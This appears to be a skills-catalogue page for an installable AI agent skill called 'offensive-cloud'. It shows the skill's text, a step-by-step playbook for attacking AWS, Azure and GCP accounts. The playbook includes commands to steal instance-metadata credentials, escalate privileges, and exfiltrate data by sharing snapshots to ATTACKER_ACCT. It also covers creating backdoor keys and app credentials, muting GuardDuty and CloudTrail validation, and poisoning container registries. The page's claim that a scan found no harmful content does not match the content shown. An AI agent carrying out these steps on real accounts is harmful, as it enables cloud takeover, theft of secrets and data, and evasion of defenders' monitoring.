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offensive-cloud

Cloud security attack methodology covering AWS, Azure, and GCP. Includes credential harvesting (IMDS, ~/.aws, env vars, leaked CI secrets, instance roles), enumeration with cloud-specific tools (pacu, ScoutSuite, Prowler, ROADtools, gcp_enum), privilege escalation paths (IAM PassRole, AssumeRole cha…

Install / Use

npx skills add SnailSploit/Claude-Red --skill offensive-cloud

Installs into whichever agent you are using.

About this skill
πŸ“„

SKILL.md

Installable skill definition

Quality Score

96/100

Category

Security

Supported Platforms

Universal

Our assessment of offensive-cloud

offensive-cloud scores 96/100 on our quality scale, 179th of 1,108 Security skills we index (top 17%).

Its SKILL.md is 12 KB long, well organised into 62 sections with 18 code examples: a thorough specification that gives an agent plenty to work with.

With 6,850 GitHub stars, it is one of the more widely adopted skills in the catalogue.

Substance
30/30
Structure
20/20
Description
15/15
Adoption
16/20
Freshness
15/15

Maintenance, license and trust

  • The repository was last updated about 2 months ago, so offensive-cloud is actively maintained.
  • Our last check on 2026-11-15 found the source still online.
  • It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
  • Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit β€” read the skill file before letting an agent act on it.

Safety scan

No issues found

Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review of the same text found nothing harmful.

AI review by kimi-k2.7-code on 2026-09-29. Automated pattern scan on 2026-09-28. It catches known dangerous patterns, not every risk β€” read a skill before letting an agent act on it.

offensive-cloud compared with similar skills

All 4 of these similar skills score higher than offensive-cloud; compare them before choosing.

SkillScoreStarsUpdatedFormat
offensive-cloud (this skill)by SnailSploit966.8k58d agoSKILL.md
x402by browser-use100121.0k3d agoSKILL.md
algorithmic-artby anthropics100177.9k55d agoSKILL.md
pptxby anthropics100177.9k55d agoSKILL.md
designby nextlevelbuilder100149.0k6d agoSKILL.md

Frequently asked questions

How do I install offensive-cloud?
Run npx skills add SnailSploit/Claude-Red --skill offensive-cloud. The install tabs above show the steps for each supported agent.
Which AI agents does offensive-cloud work with?
It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
Is offensive-cloud safe to use?
Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review of the same text found nothing harmful. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
Is offensive-cloud still maintained?
The repository was last updated about 2 months ago, so offensive-cloud is actively maintained.

name: offensive-cloud description: "Cloud security attack methodology covering AWS, Azure, and GCP. Includes credential harvesting (IMDS, ~/.aws, env vars, leaked CI secrets, instance roles), enumeration with cloud-specific tools (pacu, ScoutSuite, Prowler, ROADtools, gcp_enum), privilege escalation paths (IAM PassRole, AssumeRole chains, Lambda/Functions privilege flips, Azure Owner-on-self, GCP serviceAccountTokenCreator), persistence techniques (IAM user/key creation, AAD app registration, GCP svc account key creation, EventBridge/Logic Apps backdoors), data exfiltration (S3/Blob/GCS, snapshot share, RDS/CosmosDB/Cloud SQL exfil), cloud-native lateral movement (cross-account assume, Azure AD multi-tenant, GCP project hierarchy), serverless attacks (Lambda env vars, layer hijack, Step Functions), Kubernetes-on-cloud (EKS/AKS/GKE-specific paths to node and AWS metadata), and CSPM evasion (CloudTrail blind spots, GuardDuty mute, Sentinel rule shaping). Use when the engagement scope is cloud accounts, when you've stolen cloud credentials, or when assessing cloud posture."

Cloud (AWS / Azure / GCP) β€” Offensive Testing Methodology

Quick Workflow

  1. Identify the cloud and the identity context you have (user, role, service account, instance role)
  2. Enumerate without writes β€” aws sts get-caller-identity, az account show, gcloud auth list
  3. Map permissions to known privilege-escalation primitives (PassRole, Owner, etc.)
  4. Find the data and the persistence anchors before alarms fire
  5. Document the kill chain with timestamps, identities, and resources for the report

AWS

Identity Discovery

aws sts get-caller-identity
aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | awk -F/ '{print $NF}')
aws iam list-attached-role-policies --role-name <role>
aws iam simulate-principal-policy --policy-source-arn $(aws sts get-caller-identity --query Arn --output text) \
  --action-names "*"

IMDS Credential Theft

# IMDSv1 (legacy)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>

# IMDSv2 (modern, requires token)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

From SSRF, IMDSv2 was historically reachable when the SSRF allowed setting custom headers. Modern AWS denies SSRF without Host: 169.254.169.254 and proper PUT-then-GET flow β€” SSRF in 2024+ rarely yields IMDSv2 unless the proxy reflects custom headers.

Privilege Escalation Paths

| Path | Required Permission | Outcome | |------|---------------------|---------| | iam:PassRole + lambda:CreateFunction | Pass any role to Lambda you create | Run code as that role | | iam:PassRole + ec2:RunInstances | Pass any role to EC2 instance | IMDS β†’ role creds | | iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion | Edit your own policy | Self-elevate | | iam:UpdateAssumeRolePolicy | On a privileged role | Add yourself as principal | | iam:CreateLoginProfile (on user without one) | Set console password | Console access | | iam:CreateAccessKey (on another user) | Mint keys for someone else | Persistent access | | sts:AssumeRole with sts:TagSession to ABAC role | If role trusts session tags | Tag-based escalation | | cloudformation:CreateStack + permissive role | Run any service action | Indirect arbitrary perms | | glue:UpdateDevEndpoint | Inject SSH key into Glue endpoint | Code exec as Glue role | | ssm:SendCommand to any instance | RCE on instances + their roles | Lateral + escalation |

# Pacu β€” the tooling for AWS escalation
pacu
> import_keys default
> run iam__enum_permissions
> run iam__privesc_scan

Cross-Account / Organization

# Find roles trusting the current account
aws iam list-roles --query 'Roles[?AssumeRolePolicyDocument!=null]'
# Then grep AssumeRolePolicyDocument.Statement for trusts to your account

# Org-wide (if Organizations access)
aws organizations list-accounts
aws organizations list-roots

Data Targets

# S3
aws s3api list-buckets
aws s3 ls s3://<bucket> --recursive | head
aws s3api get-bucket-policy --bucket <bucket>

# Cross-region snapshot share (data exfil without S3)
aws ec2 modify-snapshot-attribute --snapshot-id snap-... \
  --attribute createVolumePermission \
  --create-volume-permission "Add=[{UserId=ATTACKER_ACCT}]"

# RDS snapshot share
aws rds modify-db-snapshot-attribute --db-snapshot-identifier mysnap \
  --attribute-name restore --values-to-add ATTACKER_ACCT

# Secrets Manager / Parameter Store
aws secretsmanager list-secrets
aws ssm get-parameters-by-path --path / --recursive --with-decryption

Persistence

# Cross-account SCP exemption via service-linked role
# AWS Config snapshot delivery channel rerouted to attacker bucket
aws configservice put-delivery-channel ...  # Rare but devastating

# EventBridge rule firing Lambda you control on every IAM change
# Backdoor: Lambda creates an access key for any new admin user

Detection Evasion

  • CloudTrail to multi-region with log file validation β€” disable validation if you have perms
  • GuardDuty findings can be muted via update-findings-feedback if you have the permission (rare in prod)
  • VPC Flow Logs only catch IP traffic; control-plane API calls are CloudTrail-only

Azure

Identity Discovery

az account show
az ad signed-in-user show
az role assignment list --all --assignee $(az ad signed-in-user show --query id -o tsv)

# Microsoft Graph
az rest --method GET --uri "https://graph.microsoft.com/v1.0/me"

IMDS

curl -H "Metadata:true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

Privilege Escalation Paths

| Path | Required Role / Permission | Outcome | |------|---------------------------|---------| | User Access Administrator on self/sub | Grant self Owner | Subscription Owner | | App Registration owner | Add cert/secret, mint app-only tokens | App's permissions | | Virtual Machine Contributor + Reader on KV | Run command on VM with MSI β†’ KV | Secrets | | Custom role with */write on RBAC | Edit role assignments | Self-elevate | | Logic App contributor | Edit workflow β†’ privileged action | Indirect any action | | Automation Account contributor | RunBook with Run-As account | Run as RunAs identity | | AAD Application Administrator | Assign app to high-priv role | Cloud admin via app | | AAD Cloud Application Administrator | Same minus on-prem | Cloud admin | | AAD Directory Synchronization Account | DCSync via AAD Connect | All on-prem hashes | | Privileged Authentication Administrator | Reset MFA / passwords for Globals | Global Admin reset |

# ROADtools β€” the AAD enumeration toolkit
roadrecon auth -u user@tenant -p pass
roadrecon gather
roadrecon gui  # browse the gathered DB

# AzureHound for BloodHound integration
azurehound list -u user -p pass --tenant tenant.onmicrosoft.com

Data Targets

# Storage account access keys (gold)
az storage account keys list -g RG -n SA

# Key Vault (per RBAC + access policies)
az keyvault secret list --vault-name myvault
az keyvault secret show --vault-name myvault -n cred

# Cosmos DB primary keys
az cosmosdb keys list -g RG -n acct

# SQL admin reset
az sql server ad-admin create -g RG -s server -u attacker@tenant -i <obj-id>

Persistence

# Add cert to existing privileged AAD application
az ad app credential reset --id <app-id> --append

# Conditional Access bypass: add own service principal to "trusted locations" / exclusions
# Custom rules to AAD Audit log retention

Detection Evasion

  • AAD Audit Log: tenant-level, can't be tampered with from below Global Admin
  • Microsoft Sentinel: rule shaping if you have Workbook / Analytics Rule write
  • Defender for Cloud: alert suppression rules

GCP

Identity Discovery

gcloud auth list
gcloud projects list
gcloud iam service-accounts list
gcloud projects get-iam-policy $(gcloud config get-value project)

IMDS

curl -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Privilege Escalation Paths

| Path | Required Permission | Outcome | |------|---------------------|---------| | iam.serviceAccountTokenCreator on SA | Mint tokens as SA | SA's perms | | iam.serviceAccountUser + compute.instances.create | Pass SA to new VM | Run as SA via IMDS | | iam.serviceAccountKeyAdmin | Create JSON key for any SA | Persistent SA creds | | cloudbuild.builds.create | Build runs as Cloud Build SA (often Editor) | Editor on project | | deploymentmanager.deployments.create | Runs as DM SA (often Owner) | Owner | | cloudfunctions.functions.create + actAs | Pass any SA to function | Run as that SA | | dataflow.jobs.create + actAs | Same pattern | SA's perms | | iam.roles.update (custom roles) | Add permissions to a role you have | Self-elevate | | resourcemanager.projects.setIamPolicy | Grant self any role | Owner |

# gcp_enum / gcp_scanner
git clone https://github.com/google/gcp_scanner
python gcp_scanner.py -k gcp.json -o out/

# Hunt for SA impersonation paths
gcloud iam service-accounts get-iam-policy <sa-email>
# Look for ServiceAccountTokenCreator on something you control

Data Targets

# GCS buckets
gcloud storage ls
gsutil ls -L gs://bucket
gsutil iam get gs://bucket

# Cloud SQL
gcloud sql instances list
gcloud sql users list --instance <instance>

# Secret Manager
gcloud secrets list
gcloud secrets versions access latest --secret=<name>

Cross-Project / Folder Pivot

# Org-level perms?
gcloud organizations list
gcloud resource-manager folders list --organization <id>
gcloud projects list --filter="parent.id=<folder-id>"

Cross-Cloud Patterns

CI/CD as the Pivot

Most cloud takeovers in 2024-2025 start with CI tokens:

  • GitHub Actions OIDC misconfigured β†’ assume any AWS role with weak sub claim
  • GitLab CI pushed to wrong branch β†’ gains prod role
  • Jenkins agent with cloud credentials in env

Test the OIDC trust policy claims carefully:

"Condition": {
  "StringLike": {
    "token.actions.githubusercontent.com:sub": "repo:org/*"
  }
}

Snapshot Sideways (works on all 3)

Take a snapshot of a victim VM/disk β†’ share or mount it under a controlled account β†’ extract data offline. Bypasses host-level guardrails.

Secrets-in-Logs

CloudTrail / Activity Log / Cloud Audit Logs sometimes log request bodies. Look for SaaS integrations that POST API keys β€” they may end up in audit logs.

Container Registry Poisoning

ECR/ACR/Artifact Registry β€” if you have push perms on a tag in use by production, replace the image. Tag mutability is the bug.


Tooling Matrix

| Tool | AWS | Azure | GCP | Use | |------|-----|-------|-----|-----| | ScoutSuite | βœ“ | βœ“ | βœ“ | Posture audit | | Prowler | βœ“ | βœ“ | βœ“ | CIS/PCI checks | | Pacu | βœ“ | | | Offensive framework | | CloudGoat | βœ“ | | | Vulnerable lab | | BloodHound + AzureHound | | βœ“ | | Graph-based escalation | | ROADtools | | βœ“ | | AAD recon + offline analysis | | MicroBurst | | βœ“ | | PS-based offensive | | Stormspotter | | βœ“ | | MS' own offensive enum | | gcp_scanner | | | βœ“ | Token-based recon | | GCPBucketBrute | | | βœ“ | GCS bucket discovery |


Engagement Cheatsheet

[ ] sts/get-caller-identity, az account show, gcloud auth list
[ ] Enumerate effective permissions (simulate-principal-policy / get-iam-policy)
[ ] Map known privesc paths against current perms
[ ] Pacu/ROADtools/gcp_scanner full enumeration
[ ] Identify data crown jewels (S3/Blob/GCS, KV, secrets)
[ ] Test cross-account/tenant/proj

Truncated for display β€” read the full file on GitHub.

Related Skills

View on GitHub
GitHub Stars6.8k
CategorySecurity
Updated1mo ago
Forks896

Languages

Python

Trust signals

100/100

From repository metadata: license, adoption, age and documentation. Not a code audit β€” see the Safety scan above for what the skill file itself contains.

No cautions
offensive-cloud β€” Universal Skill: Install & Safety Check | SkillAgent